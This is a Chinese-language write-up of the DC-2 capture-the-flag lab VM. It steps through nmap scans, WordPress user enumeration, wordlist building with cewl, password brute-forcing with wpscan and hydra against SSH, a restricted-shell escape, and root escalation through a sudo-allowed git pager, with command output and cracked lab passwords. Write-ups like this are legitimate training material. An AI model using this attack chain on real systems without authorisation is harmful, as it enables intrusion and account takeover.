这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址:http://www.five86.com/dc-2.html
直接上nmap进行扫描
nmap -sV -A 172.16.0.12
Nmap scan report for localhost (172.16.0.12)
Host is up (0.0011s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:B7:BA:FE (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.07 ms localhost (172.16.0.12)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.58 seconds
发现开了80端口却无法访问,是重定向到dc-2域名,可改hosts文件访问,添加ip对应域名
win10路径:C:\Windows\System32\drivers\etc\hosts
linux路径:etc/hosts
wpscan --url http://dc-2 -e u
admin
tom
jerry
cewl http://dc-2 -w passwds.txt
wpscan --url http://dc-2 -U users.txt -P passwds.tx
[i] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
nmap -sV -p- dc-2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 20:36 CST
Nmap scan report for dc-2 (172.16.0.12)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:B7:BA:FE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.01 seconds
hydra -L users.txt -P passwds.txt dc-2 -s 7744 ssh -vV
[7744][ssh] host: dc-2 login: tom password: parturient
ssh tom@dc-2 -p 7744
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ pwd
/home/tom
tom@DC-2:~$ ls
flag3.txt usr
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 赋值给a
$ export PATH=$PATH:/bin/ # 导入环境变量
$ export PATH=$PATH:/usr/bin
$ ls
flag3.txt usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
find / -perm -u=s -type f 2>/dev/null 发现没有find和git命令,通过sudo查看发现jerry用户无需root密码可以执行git sudo -l
jerry@DC-2:/home$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
sudo git -p help # -p强制进入交互模式
!/bin/sh
ls
final-flag.txt
# cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.